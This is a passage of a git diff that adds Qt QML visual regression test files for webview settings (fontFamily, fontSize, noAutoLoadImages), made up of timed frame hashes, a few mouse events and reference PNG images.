+ msec: 144
+ hash: "5d66fdee6a0a96bb24e89244f02eacc9"
+ }
+ Frame {
+ msec: 160
+ hash: "5d66fdee6a0a96bb24e89244f02eacc9"
+ }
+ Frame {
+ msec: 176
+ hash: "5d66fdee6a0a96bb24e89244f02eacc9"
+ }
+ Frame {
+ msec: 192
+ hash: "5d66fdee6a0a96bb24e89244f02eacc9"
+ }
+ Frame {
+ msec: 208
+ hash: "5d66fdee6a0a96bb24e89244f02eacc9"
+ }
+ Frame {
+ msec: 224
+ hash: "5d66fdee6a0a96bb24e89244f02eacc9"
+ }
+ Frame {
+ msec: 240
+ hash: "5d66fdee6a0a96bb24e89244f02eacc9"
+ }
+ Frame {
+ msec: 256
+ hash: "5d66fdee6a0a96bb24e89244f02eacc9"
+ }
+ Frame {
+ msec: 272
+ hash: "5d66fdee6a0a96bb24e89244f02eacc9"
+ }
+ Frame {
+ msec: 288
+ hash: "5d66fdee6a0a96bb24e89244f02eacc9"
+ }
+ Frame {
+ msec: 304
+ hash: "5d66fdee6a0a96bb24e89244f02eacc9"
+ }
+ Frame {
+ msec: 320
+ hash: "5d66fdee6a0a96bb24e89244f02eacc9"
+ }
+ Frame {
+ msec: 336
+ hash: "5d66fdee6a0a96bb24e89244f02eacc9"
+ }
+ Frame {
+ msec: 352
+ hash: "5d66fdee6a0a96bb24e89244f02eacc9"
+ }
+ Frame {
+ msec: 368
+ hash: "5d66fdee6a0a96bb24e89244f02eacc9"
+ }
+ Frame {
+ msec: 384
+ hash: "5d66fdee6a0a96bb24e89244f02eacc9"
+ }
+ Frame {
+ msec: 400
+ hash: "5d66fdee6a0a96bb24e89244f02eacc9"
+ }
+ Frame {
+ msec: 416
+ hash: "5d66fdee6a0a96bb24e89244f02eacc9"
+ }
+ Frame {
+ msec: 432
+ hash: "5d66fdee6a0a96bb24e89244f02eacc9"
+ }
+ Frame {
+ msec: 448
+ hash: "5d66fdee6a0a96bb24e89244f02eacc9"
+ }
+ Frame {
+ msec: 464
+ hash: "5d66fdee6a0a96bb24e89244f02eacc9"
+ }
+ Frame {
+ msec: 480
+ hash: "5d66fdee6a0a96bb24e89244f02eacc9"
+ }
+ Frame {
+ msec: 496
+ hash: "5d66fdee6a0a96bb24e89244f02eacc9"
+ }
+ Frame {
+ msec: 512
+ hash: "5d66fdee6a0a96bb24e89244f02eacc9"
+ }
+ Frame {
+ msec: 528
+ hash: "5d66fdee6a0a96bb24e89244f02eacc9"
+ }
+ Frame {
+ msec: 544
+ hash: "5d66fdee6a0a96bb24e89244f02eacc9"
+ }
+ Frame {
+ msec: 560
+ hash: "5d66fdee6a0a96bb24e89244f02eacc9"
+ }
+ Frame {
+ msec: 576
+ hash: "5d66fdee6a0a96bb24e89244f02eacc9"
+ }
+ Frame {
+ msec: 592
+ hash: "5d66fdee6a0a96bb24e89244f02eacc9"
+ }
+ Frame {
+ msec: 608
+ hash: "5d66fdee6a0a96bb24e89244f02eacc9"
+ }
+ Frame {
+ msec: 624
+ hash: "5d66fdee6a0a96bb24e89244f02eacc9"
+ }
+ Frame {
+ msec: 640
+ hash: "5d66fdee6a0a96bb24e89244f02eacc9"
+ }
+ Frame {
+ msec: 656
+ hash: "5d66fdee6a0a96bb24e89244f02eacc9"
+ }
+ Frame {
+ msec: 672
+ hash: "5d66fdee6a0a96bb24e89244f02eacc9"
+ }
+ Frame {
+ msec: 688
+ hash: "5d66fdee6a0a96bb24e89244f02eacc9"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 196; y: 25
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 194; y: 19
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 190; y: 13
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 704
+ hash: "5d66fdee6a0a96bb24e89244f02eacc9"
+ }
+ Frame {
+ msec: 720
+ hash: "5d66fdee6a0a96bb24e89244f02eacc9"
+ }
+ Frame {
+ msec: 736
+ hash: "5d66fdee6a0a96bb24e89244f02eacc9"
+ }
+ Frame {
+ msec: 752
+ hash: "5d66fdee6a0a96bb24e89244f02eacc9"
+ }
+ Frame {
+ msec: 768
+ hash: "5d66fdee6a0a96bb24e89244f02eacc9"
+ }
+ Frame {
+ msec: 784
+ hash: "5d66fdee6a0a96bb24e89244f02eacc9"
+ }
+ Frame {
+ msec: 800
+ hash: "5d66fdee6a0a96bb24e89244f02eacc9"
+ }
+ Frame {
+ msec: 816
+ hash: "5d66fdee6a0a96bb24e89244f02eacc9"
+ }
+ Frame {
+ msec: 832
+ hash: "5d66fdee6a0a96bb24e89244f02eacc9"
+ }
+ Frame {
+ msec: 848
+ hash: "5d66fdee6a0a96bb24e89244f02eacc9"
+ }
+ Frame {
+ msec: 864
+ hash: "5d66fdee6a0a96bb24e89244f02eacc9"
+ }
+ Frame {
+ msec: 880
+ hash: "5d66fdee6a0a96bb24e89244f02eacc9"
+ }
+ Frame {
+ msec: 896
+ hash: "5d66fdee6a0a96bb24e89244f02eacc9"
+ }
+ Frame {
+ msec: 912
+ hash: "5d66fdee6a0a96bb24e89244f02eacc9"
+ }
+ Frame {
+ msec: 928
+ hash: "5d66fdee6a0a96bb24e89244f02eacc9"
+ }
+ Frame {
+ msec: 944
+ hash: "5d66fdee6a0a96bb24e89244f02eacc9"
+ }
+ Frame {
+ msec: 960
+ image: "fontFamily.0.png"
+ }
+ Frame {
+ msec: 976
+ hash: "5d66fdee6a0a96bb24e89244f02eacc9"
+ }
+ Frame {
+ msec: 992
+ hash: "5d66fdee6a0a96bb24e89244f02eacc9"
+ }
+ Frame {
+ msec: 1008
+ hash: "5d66fdee6a0a96bb24e89244f02eacc9"
+ }
+ Frame {
+ msec: 1024
+ hash: "5d66fdee6a0a96bb24e89244f02eacc9"
+ }
+ Frame {
+ msec: 1040
+ hash: "5d66fdee6a0a96bb24e89244f02eacc9"
+ }
+ Frame {
+ msec: 1056
+ hash: "5d66fdee6a0a96bb24e89244f02eacc9"
+ }
+ Frame {
+ msec: 1072
+ hash: "5d66fdee6a0a96bb24e89244f02eacc9"
+ }
+ Frame {
+ msec: 1088
+ hash: "5d66fdee6a0a96bb24e89244f02eacc9"
+ }
+ Frame {
+ msec: 1104
+ hash: "5d66fdee6a0a96bb24e89244f02eacc9"
+ }
+ Frame {
+ msec: 1120
+ hash: "5d66fdee6a0a96bb24e89244f02eacc9"
+ }
+ Frame {
+ msec: 1136
+ hash: "5d66fdee6a0a96bb24e89244f02eacc9"
+ }
+ Frame {
+ msec: 1152
+ hash: "5d66fdee6a0a96bb24e89244f02eacc9"
+ }
+ Frame {
+ msec: 1168
+ hash: "5d66fdee6a0a96bb24e89244f02eacc9"
+ }
+ Frame {
+ msec: 1184
+ hash: "5d66fdee6a0a96bb24e89244f02eacc9"
+ }
+ Frame {
+ msec: 1200
+ hash: "5d66fdee6a0a96bb24e89244f02eacc9"
+ }
+ Frame {
+ msec: 1216
+ hash: "5d66fdee6a0a96bb24e89244f02eacc9"
+ }
+ Frame {
+ msec: 1232
+ hash: "5d66fdee6a0a96bb24e89244f02eacc9"
+ }
+ Frame {
+ msec: 1248
+ hash: "5d66fdee6a0a96bb24e89244f02eacc9"
+ }
+ Frame {
+ msec: 1264
+ hash: "5d66fdee6a0a96bb24e89244f02eacc9"
+ }
+ Frame {
+ msec: 1280
+ hash: "5d66fdee6a0a96bb24e89244f02eacc9"
+ }
+ Frame {
+ msec: 1296
+ hash: "5d66fdee6a0a96bb24e89244f02eacc9"
+ }
+ Frame {
+ msec: 1312
+ hash: "5d66fdee6a0a96bb24e89244f02eacc9"
+ }
+ Frame {
+ msec: 1328
+ hash: "5d66fdee6a0a96bb24e89244f02eacc9"
+ }
+ Frame {
+ msec: 1344
+ hash: "5d66fdee6a0a96bb24e89244f02eacc9"
+ }
+ Frame {
+ msec: 1360
+ hash: "5d66fdee6a0a96bb24e89244f02eacc9"
+ }
+ Frame {
+ msec: 1376
+ hash: "5d66fdee6a0a96bb24e89244f02eacc9"
+ }
+ Frame {
+ msec: 1392
+ hash: "5d66fdee6a0a96bb24e89244f02eacc9"
+ }
+ Frame {
+ msec: 1408
+ hash: "5d66fdee6a0a96bb24e89244f02eacc9"
+ }
+ Frame {
+ msec: 1424
+ hash: "5d66fdee6a0a96bb24e89244f02eacc9"
+ }
+ Frame {
+ msec: 1440
+ hash: "5d66fdee6a0a96bb24e89244f02eacc9"
+ }
+ Frame {
+ msec: 1456
+ hash: "5d66fdee6a0a96bb24e89244f02eacc9"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/webview/settings/data/fontSize.0.png b/tests/auto/declarative/qmlvisual/webview/settings/data/fontSize.0.png
new file mode 100644
index 00000000..95196a1b
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/webview/settings/data/fontSize.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/webview/settings/data/fontSize.qml b/tests/auto/declarative/qmlvisual/webview/settings/data/fontSize.qml
new file mode 100644
index 00000000..efe38755
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/webview/settings/data/fontSize.qml
@@ -0,0 +1,339 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ hash: "962e77f522956d38f3b1b890df749f0a"
+ }
+ Frame {
+ msec: 32
+ hash: "962e77f522956d38f3b1b890df749f0a"
+ }
+ Frame {
+ msec: 48
+ hash: "962e77f522956d38f3b1b890df749f0a"
+ }
+ Frame {
+ msec: 64
+ hash: "962e77f522956d38f3b1b890df749f0a"
+ }
+ Frame {
+ msec: 80
+ hash: "962e77f522956d38f3b1b890df749f0a"
+ }
+ Frame {
+ msec: 96
+ hash: "962e77f522956d38f3b1b890df749f0a"
+ }
+ Frame {
+ msec: 112
+ hash: "962e77f522956d38f3b1b890df749f0a"
+ }
+ Frame {
+ msec: 128
+ hash: "962e77f522956d38f3b1b890df749f0a"
+ }
+ Frame {
+ msec: 144
+ hash: "962e77f522956d38f3b1b890df749f0a"
+ }
+ Frame {
+ msec: 160
+ hash: "962e77f522956d38f3b1b890df749f0a"
+ }
+ Frame {
+ msec: 176
+ hash: "962e77f522956d38f3b1b890df749f0a"
+ }
+ Frame {
+ msec: 192
+ hash: "962e77f522956d38f3b1b890df749f0a"
+ }
+ Frame {
+ msec: 208
+ hash: "962e77f522956d38f3b1b890df749f0a"
+ }
+ Frame {
+ msec: 224
+ hash: "962e77f522956d38f3b1b890df749f0a"
+ }
+ Frame {
+ msec: 240
+ hash: "962e77f522956d38f3b1b890df749f0a"
+ }
+ Frame {
+ msec: 256
+ hash: "962e77f522956d38f3b1b890df749f0a"
+ }
+ Frame {
+ msec: 272
+ hash: "962e77f522956d38f3b1b890df749f0a"
+ }
+ Frame {
+ msec: 288
+ hash: "962e77f522956d38f3b1b890df749f0a"
+ }
+ Frame {
+ msec: 304
+ hash: "962e77f522956d38f3b1b890df749f0a"
+ }
+ Frame {
+ msec: 320
+ hash: "962e77f522956d38f3b1b890df749f0a"
+ }
+ Frame {
+ msec: 336
+ hash: "962e77f522956d38f3b1b890df749f0a"
+ }
+ Frame {
+ msec: 352
+ hash: "962e77f522956d38f3b1b890df749f0a"
+ }
+ Frame {
+ msec: 368
+ hash: "962e77f522956d38f3b1b890df749f0a"
+ }
+ Frame {
+ msec: 384
+ hash: "962e77f522956d38f3b1b890df749f0a"
+ }
+ Frame {
+ msec: 400
+ hash: "962e77f522956d38f3b1b890df749f0a"
+ }
+ Frame {
+ msec: 416
+ hash: "962e77f522956d38f3b1b890df749f0a"
+ }
+ Frame {
+ msec: 432
+ hash: "962e77f522956d38f3b1b890df749f0a"
+ }
+ Frame {
+ msec: 448
+ hash: "962e77f522956d38f3b1b890df749f0a"
+ }
+ Frame {
+ msec: 464
+ hash: "962e77f522956d38f3b1b890df749f0a"
+ }
+ Frame {
+ msec: 480
+ hash: "962e77f522956d38f3b1b890df749f0a"
+ }
+ Frame {
+ msec: 496
+ hash: "962e77f522956d38f3b1b890df749f0a"
+ }
+ Frame {
+ msec: 512
+ hash: "962e77f522956d38f3b1b890df749f0a"
+ }
+ Frame {
+ msec: 528
+ hash: "962e77f522956d38f3b1b890df749f0a"
+ }
+ Frame {
+ msec: 544
+ hash: "962e77f522956d38f3b1b890df749f0a"
+ }
+ Frame {
+ msec: 560
+ hash: "962e77f522956d38f3b1b890df749f0a"
+ }
+ Frame {
+ msec: 576
+ hash: "962e77f522956d38f3b1b890df749f0a"
+ }
+ Frame {
+ msec: 592
+ hash: "962e77f522956d38f3b1b890df749f0a"
+ }
+ Frame {
+ msec: 608
+ hash: "962e77f522956d38f3b1b890df749f0a"
+ }
+ Frame {
+ msec: 624
+ hash: "962e77f522956d38f3b1b890df749f0a"
+ }
+ Frame {
+ msec: 640
+ hash: "962e77f522956d38f3b1b890df749f0a"
+ }
+ Frame {
+ msec: 656
+ hash: "962e77f522956d38f3b1b890df749f0a"
+ }
+ Frame {
+ msec: 672
+ hash: "962e77f522956d38f3b1b890df749f0a"
+ }
+ Frame {
+ msec: 688
+ hash: "962e77f522956d38f3b1b890df749f0a"
+ }
+ Frame {
+ msec: 704
+ hash: "962e77f522956d38f3b1b890df749f0a"
+ }
+ Frame {
+ msec: 720
+ hash: "962e77f522956d38f3b1b890df749f0a"
+ }
+ Frame {
+ msec: 736
+ hash: "962e77f522956d38f3b1b890df749f0a"
+ }
+ Frame {
+ msec: 752
+ hash: "962e77f522956d38f3b1b890df749f0a"
+ }
+ Frame {
+ msec: 768
+ hash: "962e77f522956d38f3b1b890df749f0a"
+ }
+ Frame {
+ msec: 784
+ hash: "962e77f522956d38f3b1b890df749f0a"
+ }
+ Frame {
+ msec: 800
+ hash: "962e77f522956d38f3b1b890df749f0a"
+ }
+ Frame {
+ msec: 816
+ hash: "962e77f522956d38f3b1b890df749f0a"
+ }
+ Frame {
+ msec: 832
+ hash: "962e77f522956d38f3b1b890df749f0a"
+ }
+ Frame {
+ msec: 848
+ hash: "962e77f522956d38f3b1b890df749f0a"
+ }
+ Frame {
+ msec: 864
+ hash: "962e77f522956d38f3b1b890df749f0a"
+ }
+ Frame {
+ msec: 880
+ hash: "962e77f522956d38f3b1b890df749f0a"
+ }
+ Frame {
+ msec: 896
+ hash: "962e77f522956d38f3b1b890df749f0a"
+ }
+ Frame {
+ msec: 912
+ hash: "962e77f522956d38f3b1b890df749f0a"
+ }
+ Frame {
+ msec: 928
+ hash: "962e77f522956d38f3b1b890df749f0a"
+ }
+ Frame {
+ msec: 944
+ hash: "962e77f522956d38f3b1b890df749f0a"
+ }
+ Frame {
+ msec: 960
+ image: "fontSize.0.png"
+ }
+ Frame {
+ msec: 976
+ hash: "962e77f522956d38f3b1b890df749f0a"
+ }
+ Frame {
+ msec: 992
+ hash: "962e77f522956d38f3b1b890df749f0a"
+ }
+ Frame {
+ msec: 1008
+ hash: "962e77f522956d38f3b1b890df749f0a"
+ }
+ Frame {
+ msec: 1024
+ hash: "962e77f522956d38f3b1b890df749f0a"
+ }
+ Frame {
+ msec: 1040
+ hash: "962e77f522956d38f3b1b890df749f0a"
+ }
+ Frame {
+ msec: 1056
+ hash: "962e77f522956d38f3b1b890df749f0a"
+ }
+ Frame {
+ msec: 1072
+ hash: "962e77f522956d38f3b1b890df749f0a"
+ }
+ Frame {
+ msec: 1088
+ hash: "962e77f522956d38f3b1b890df749f0a"
+ }
+ Frame {
+ msec: 1104
+ hash: "962e77f522956d38f3b1b890df749f0a"
+ }
+ Frame {
+ msec: 1120
+ hash: "962e77f522956d38f3b1b890df749f0a"
+ }
+ Frame {
+ msec: 1136
+ hash: "962e77f522956d38f3b1b890df749f0a"
+ }
+ Frame {
+ msec: 1152
+ hash: "962e77f522956d38f3b1b890df749f0a"
+ }
+ Frame {
+ msec: 1168
+ hash: "962e77f522956d38f3b1b890df749f0a"
+ }
+ Frame {
+ msec: 1184
+ hash: "962e77f522956d38f3b1b890df749f0a"
+ }
+ Frame {
+ msec: 1200
+ hash: "962e77f522956d38f3b1b890df749f0a"
+ }
+ Frame {
+ msec: 1216
+ hash: "962e77f522956d38f3b1b890df749f0a"
+ }
+ Frame {
+ msec: 1232
+ hash: "962e77f522956d38f3b1b890df749f0a"
+ }
+ Frame {
+ msec: 1248
+ hash: "962e77f522956d38f3b1b890df749f0a"
+ }
+ Frame {
+ msec: 1264
+ hash: "962e77f522956d38f3b1b890df749f0a"
+ }
+ Frame {
+ msec: 1280
+ hash: "962e77f522956d38f3b1b890df749f0a"
+ }
+ Frame {
+ msec: 1296
+ hash: "962e77f522956d38f3b1b890df749f0a"
+ }
+ Frame {
+ msec: 1312
+ hash: "962e77f522956d38f3b1b890df749f0a"
+ }
+ Frame {
+ msec: 1328
+ hash: "962e77f522956d38f3b1b890df749f0a"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/webview/settings/data/noAutoLoadImages.0.png b/tests/auto/declarative/qmlvisual/webview/settings/data/noAutoLoadImages.0.png
new file mode 100644
index 00000000..48920a23
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/webview/settings/data/noAutoLoadImages.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/webview/settings/data/noAutoLoadImages.1.png b/tests/auto/declarative/qmlvisual/webview/settings/data/noAutoLoadImages.1.png
new file mode 100644
index 00000000..48920a23
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/webview/settings/data/noAutoLoadImages.1.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/webview/settings/data/noAutoLoadImages.qml b/tests/auto/declarative/qmlvisual/webview/settings/data/noAutoLoadImages.qml
new file mode 100644
index 00000000..624a16bd
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/webview/settings/data/noAutoLoadImages.qml
@@ -0,0 +1,595 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 32
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 48
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 64
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 80
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 96
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 112
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 128
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 144
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 160
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 176
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 192
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 208
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 224
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 240
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 256
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 272
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 288
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 304
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 320
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 336
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 352
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 368
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 384
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 400
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 416
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 432
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 448
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 464
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 480
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 496
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 512
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 528
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 544
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 560
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 576
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 592
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 608
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 624
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 640
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 656
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 672
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 688
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 704
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 720
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 736
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 752
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 768
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 784
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 800
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 816
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 832
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 848
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 864
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 880
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 896
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 912
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 928
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 944
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 960
+ image: "noAutoLoadImages.0.png"
+ }
+ Frame {
+ msec: 976
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 992
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 1008
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 1024
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 1040
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 1056
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 1072
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 1088
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 1104
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 1120
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 1136
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 1152
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 1168
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 1184
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 1200
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 1216
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 1232
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 1248
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 1264
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 1280
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 1296
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 1312
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 1328
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 1344
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 1360
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 1376
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 1392
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 1408
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 1424
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 1440
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 1456
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 1472
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 1488
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 1504
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 1520
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 1536
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 1552
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 1568
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 1584
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 1600
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 1616
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 1632
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 1648
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 1664
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 1680
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 1696
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 1712
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 1728
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 1744
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 1760
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 1776
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 1792
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 1808
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 1824
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 1840
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 1856
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 1872
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 1888
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 1904
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 1920
+ image: "noAutoLoadImages.1.png"
+ }
+ Frame {
+ msec: 1936
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 1952
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 1968
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 1984
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 2000
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 2016
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 2032
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 2048
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 2064
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
+ msec: 2080
+ hash: "5146cfbeefc51268eca7717d84775750"
+ }
+ Frame {
